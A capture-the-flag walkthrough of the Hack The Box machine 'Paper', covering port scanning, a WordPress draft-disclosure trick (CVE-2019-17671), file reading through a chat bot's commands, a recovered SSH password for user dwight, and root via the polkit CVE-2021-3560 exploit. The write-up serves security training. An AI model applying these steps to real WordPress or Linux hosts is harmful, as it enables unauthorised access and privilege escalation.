rootπŸ’€bl4ck4non-sec:~#

Hack. Eat. Sleep. Repeat!!!

View on GitHub

Box: Paper

Level: Easy


Lets get started

Recon

Portscanning

command:sudo nmap -A 10.129.136.31 -T4 -v -p-

Nmap scan report for 10.129.136.31
Host is up (0.15s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
|   256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
|_  256 3178afd13bc42e9d604eeb5d03eca022 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-07-03T08:52:34
| Not valid after:  2022-07-08T10:32:34
| MD5:   579a92bd803cac47d49c5adde44e4f84
|_SHA-1: 61a2301f9e5c2603a64300b5e5da5fd5c175f3a9
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_ssl-date: TLS randomness does not represent time
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=9/14%OT=22%CT=1%CU=32191%PV=Y%DS=2%DC=T%G=Y%TM=650286C
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=2%ISR=10C%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:04%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O
OS:3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M539NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Uptime guess: 46.864 days (since Sat Jul 29 08:22:13 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   150.24 ms 10.10.14.1
2   150.10 ms 10.129.136.31

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

From the above scan we have 3 open ports. Port 22 which runs ssh, port 80 which runs http, port 443 which runs ssl/http. Well, our ennumeration today will be focused on the http service.

Enumeration

Lets start by adding the IP address to our /etc/hosts file

β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ sudo nano /etc/hosts
[sudo] password for bl4ck4non: 
                                                                                                                                                                                                
β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       bl4ck4non

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.136.31 paper.htb

Good. Now lets navigate to the webpage paper.htb

image

Lets fuzz for directories

command:ffuf -u "http://paper.htb/FUZZ" -w /usr/share/wordlists/dirb/common.txt -e .zip,.sql,.php,.phtml,.bak,.backup

                                                                                                                                                                                                
β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ ffuf -u "http://paper.htb/FUZZ" -w /usr/share/wordlists/dirb/common.txt -e .zip,.sql,.php,.phtml,.bak,.backup

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://paper.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : .zip .sql .php .phtml .bak .backup 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
cgi-bin/                [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 158ms]
manual                  [Status: 301, Size: 232, Words: 14, Lines: 8, Duration: 151ms]
:: Progress: [32298/32298] :: Job [1/1] :: 241 req/sec :: Duration: [0:02:15] :: Errors: 0 ::

oops, nothing interesting here

Lets view the http header for this webpage using curl

command:curl -I http://paper.htb

image

we found something interesting hehe, there’s a backend server office.paper that is handling our requests. Lets add this to our /etc/hosts file

β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ sudo nano /etc/hosts
                                                                                                                                                                                                
β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ cat /etc/hosts 
127.0.0.1       localhost
127.0.1.1       bl4ck4non

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.136.31 paper.htb office.paper

Cool, now we can navigate to the wepage office.paper

image

Alright so this is a wordpress site, wordpress 5.2.3 to be exact.

Exploitation

This wordpress version has an available exploit. It is vulnerable to CVE-2019-17671. You can access the exploit here

image

Adding ?static=1 to the back of the url

image

So that was an unpublished draft we just viewed. As we can see there’s a secret registration url for new employees chat system, this is being hosted on a subdomain, so we’ll be adding chat.office.paper to our /etc/hosts file

β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ sudo nano /etc/hosts        
[sudo] password for bl4ck4non: 
                                                                                                                                                                                                
β”Œβ”€β”€(bl4ck4nonγ‰Ώbl4ck4non)-[~/Downloads/HTB/paper]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       bl4ck4non

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.136.31 paper.htb office.paper chat.office.paper

Lets navigate to the registration page http://chat.office.paper/register/8qozr226AhkCHZdyY

image

Registering a new account,

image image image

Click on β€œgeneral”,

This conversation box is β€œview only” but we can see there’s a bot on the group chat

image

So, there’s a bot that handles the chat group

image image

So, the bot can help list files. But how do we access this bot??

image

Well, lets send the bot a dm hehe

image

From the above screenshot, you can see I used the list command, and the bot listed the files under the /sales directory

image

I took it up a notch by trying to view a directory in the /sales directory using the command list sales

image

Cool, we can use the file command to read files. We can try this for the /etc/passwd file too I thinkπŸ€”

image image

It worked hehe😎. Ladies and Gentlemen, this is what we call directory transversalπŸ˜…

Well, I found an intersting file in user Dwight home directory

image image

Reading the file,

image

We found a password heheπŸ˜„

Well that password works well for user dwightπŸ˜‚

What we can do now is ssh into the server as user dwight

username:dwight password:Queenofblad3s!23

image

We are in hehe. Lets go ahead and escalate our privileges

Privilege Escalation

Well, after looking around for a while, I found out that the host is vulnerable to a polkit exploit CVE-2021-3560.

                              ╔════════════════════╗                                                                                                                                            
══════════════════════════════╣ System Information ╠══════════════════════════════                                                                                                              
                              β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•                                                                                                                                            
╔══════════╣ Operative system                                                                                                                                                                   
β•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits                                                                                                              
Linux version 4.18.0-348.7.1.el8_5.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 8.5.0 20210514 (Red Hat 8.5.0-4) (GCC)) #1 SMP Wed Dec 22 13:25:12 UTC 2021                         
lsb_release Not Found                                                                                                                                                                           
                                                                                                                                                                                                
╔══════════╣ Sudo version                                                                                                                                                                       
β•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                                                                                                                 
Sudo version 1.8.29                                                                                                                                                                             
                                                                                                                                                                                                
╔══════════╣ CVEs Check                                                                                                                                                                         
Vulnerable to CVE-2021-3560  

You can find the script here

Sending it over to the target machine

image

Lets check the content of the file we just sent

image

That’s a very long scriptπŸ˜‚

We can make file an executable by using the command chmod +x poc.sh then we run the file with the command ./poc.sh

image

Checking the usage again,

image

So we have the password for the user secnigma that will be created

Running the shell script,

image

It worked

Now, lets switch user su - secnigma

image

Well, this wasn’t working as intended. So I went ahead to look for another exploit, I actually found a python exploit, you can get it here

Sending it over to the target’s machine,

image

Running the python file,

[dwight@paper tmp]$ python3 CVE-2021-3560.py                                                                                                                                                    
**************                                                                                                                                                                                  
Exploit: Privilege escalation with polkit - CVE-2021-3560                                                                                                                                       
Exploit code written by Ahmad Almorabea @almorabea                                                                                                                                              
Original exploit author: Kevin Backhouse                                                                                                                                                        
For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/                                                                             
**************                                                                                                                                                                                  
[+] Starting the Exploit                                                                                                                                                                        
id: β€˜ahmed’: no such user                                                                                                                                                                       
id: β€˜ahmed’: no such user                                                                                                                                                                       
id: β€˜ahmed’: no such user                                                                                                                                                                       
id: β€˜ahmed’: no such user                                                                                                                            
[+] User Created with the name of ahmed

[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root

You’ll be prompted to provide a password, well what I did was put the password for user dwight, I got an authentication failure message, but then I ran the script again and got a root shell

image

Box pwned successfully😎

That will be all for today

Back To Home